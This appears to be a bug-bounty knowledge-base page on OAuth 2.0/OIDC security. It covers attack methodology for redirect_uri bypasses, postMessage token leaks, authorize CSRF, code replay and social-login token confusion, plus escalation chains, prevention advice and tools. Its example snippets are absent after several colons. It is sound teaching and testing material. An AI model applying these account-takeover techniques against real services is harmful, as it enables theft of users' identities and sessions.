OAuth 2.0 / OIDC

§Basic information

OAuth 2.0 (and its identity layer, OIDC) is a delegation dance that happens in the URL bar: an authorization server (the IdP) hands a short-lived code or access_token to a pre-registered redirect_uri, and the relying party (the app) trades it for a logged-in session. Every value in that dance — redirect_uri, response_type, state, the postMessage relay that ferries the token back to the opener — is attacker-influenceable, and the payoff is always the victim's code/token.

Because that credential is the victim's identity, almost every OAuth bug reduces to one of two moves: steal the credential in transit (redirect it, leak it via Referer, broadcast it over postMessage), or trick a stage into trusting a value it shouldn't (an unenforced state, an unverified email, an access_token minted for another app). Treat OAuth as an account-takeover primitive by default, not a "redirect" bug.

§Methodology

1. Capture a baseline grant. Proxy a real "Sign in with X" flow and record the authorize request — note which value carries the credential (code in query, token in fragment) and where it lands.
2. Fuzz redirect_uri through the full ladder below; watch where the code/token actually ends up. Anything you control = instant ATO.
3. Probe response_type/response_mode — flip code→token, or force response_mode=fragment when the client only wired web_message, to relocate the credential into a readable sink.
4. Grep every relay/callback page's JS for postMessage(x,'*') and postMessage(x, valueFromURL) — the token often gets broadcast to any opener.
5. Attack the endpoints directly — replay the authorize POST, add a .json/.xml suffix, drop state, replay a code twice at the token endpoint.
6. Question what each stage trusts — is the IdP email verified? Is the access_token's audience (app id) checked? Is the app auto-"trusted"?

§Credential-theft vectors

Find which stage you can bend, then use the matching primitive.

redirect_uri validation bypass

The single richest sink. Validation is almost always weaker than it looks — prefix match, wildcard subdomain, path traversal, or userinfo tricks. Run the ladder and watch where the credential lands.

If any host you control is accepted, the grant delivers straight to you — implicit flow puts the token right in the fragment:

When only the host is allow-listed (traversal keeps you on it), land the code on a same-host page you can read and harvest it from analytics/referrer:

response_type / response_mode manipulation

The IdP often honours more response modes than the client wired up. Flip code→token, or force response_mode=fragment/query to reintroduce a URL sink the app doesn't expect — then read it with any same-origin script-exec or window.name leak.

postMessage relay & bridge pages

SSO flows shuttle the credential back through a helper page (/auth/response.html, /oauth2/success, /bridge). Grep its JS: if the message target origin or the frame type comes from the URL, or it's a flat '*', the token is yours. window.open the flow and listen.

When the relay derives its target/frame from the URL, point it at yourself directly. A requestID starting with window_ selects the opener branch; targetOrigin is unvalidated:

Bridge pages may validate a host parameter but never the real embedding origin — just host the legit bridge URL on your page and catch the message:

CSRF on the authorize endpoint (forced grant / consent skip)

If the authorize POST is CSRF-weak, auto-submit a form to mint a code for your app inside the victim's session — or replay it to skip a consent/email gate enforced only in the UI.

The gate ("validate your email", "grant consent") often lives only in the UI while the underlying POST is replayable — send it straight with the victim's cookies/CSRF/state:

Token endpoint: replay & broken expiry

Codes must be single-use and short-lived. Replay the same code twice; if both return 200, single-use isn't enforced. Combined with an expiry check that reads the wrong lifetime column, a captured code stays valid for hours.

Social-login token confusion (audience not verified)

A native/social login backend that accepts a provider access_token must confirm the token was minted for its own app id. If it doesn't, mint a token with any app you own and log in as anyone.

state / login-CSRF & account linking

A missing, static, or session-unbound state turns OAuth into CSRF: force-link the attacker's IdP identity onto the victim, or log the victim into the attacker's account (login CSRF). Start a flow, drop or reuse state, replay the callback in a fresh session.

§Bypasses

§Escalation & impact

OAuth is a chaining hub — the stolen credential is the pivot, and a second small bug turns "loose validation" into full ATO:

• Origin-only redirect_uri + subdomain open redirect → token in Referer (#835437, #131202, #202781): the origin regex passes, the path/query is yours, and the token leaks in the Referer of the next hop. See open-redirect.
• response_mode switch + same-origin XSS/window.name (#1567186): relocate the token into the fragment, then read it with any script-exec on the origin → account hijack. See xss.
• HPP trusted flag → silent consent → CSRF authorize → mint victim token (#1148364) — a mass-assignment escalation on a privileged boolean.
• Unverified-IdP-email + email-keyed RP → cross-provider ATO (#922456, #314808, #101977): the relying party merges accounts by an email the IdP never verified; also opens internal apps gated on @company.com.
• Subdomain takeover of a whitelisted callback host → code theft (#665651 variant) — see subdomain-takeover.
• No PKCE on mobile → code interception via a duplicate custom URL scheme a malicious app also registers (#1700734).

§Prevention

• Exact-match redirect_uri against a pre-registered full URI (scheme + host + path) — no prefix, wildcard, or traversal. Kills the entire redirect_uri family (#405100, #151058, #1861974, #665651).
• Enforce state — high-entropy, single-use, session-bound — kills login/linking CSRF (#104931, #55911, #46485).
• Hardcode targetOrigin on relay pages and validate the opener; never derive frame type or target from URL params (#821896, #826394, #314814, #110467).
• Single-use, short-TTL codes consumed atomically (DELETE ... RETURNING WHERE expires>now()); the expiry check must read the code's own lifetime, not the credential's (#3734676, #1784162).
• Verify token audience — a social-login backend must confirm the access_token was minted for its app id (Facebook /debug_token) (#314808, #101977) — and require IdP email verification before asserting identity (#922456).
• Canonicalize before validating, and validate the exact bytes you serialize, to kill parser/serializer differentials, HPP, and non-ASCII authority tricks (#108113, #114169, #126522).
• PKCE on public/mobile clients defeats code interception via duplicate URL schemes (#1700734). Set Referrer-Policy: no-referrer on credential-bearing pages.

§Tools

• Burp Suite — Repeater to fuzz redirect_uri/state, Intruder for the bypass ladder, Param Miner for HPP.
• Browser DevTools — breakpoints on postMessage/addEventListener, read relay-page JS for targetOrigin handling (#821896).
• collaborator / interactsh + a registered look-alike domain — exfil sinks for the redirected credential.
• Google Analytics real-time — an unwitting same-host code sink when traversal keeps you on the trusted host (#1861974).
• jadx / apktool — extract embedded consumer_key/secret and deep-link schemes from mobile apps (#110293, #1700734).
• Facebook /debug_token — confirm whether a provider token's app_id audience is actually being checked.

✦Specimens — real-world examples

The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 62 in this class.

§References & practice

1. PortSwigger Web Security Academy — OAuth labs (hands-on practice).
2. All 62 disclosed reports for this class are catalogued as specimens above.
3. See also: exploit chains · payload libraries · methodology.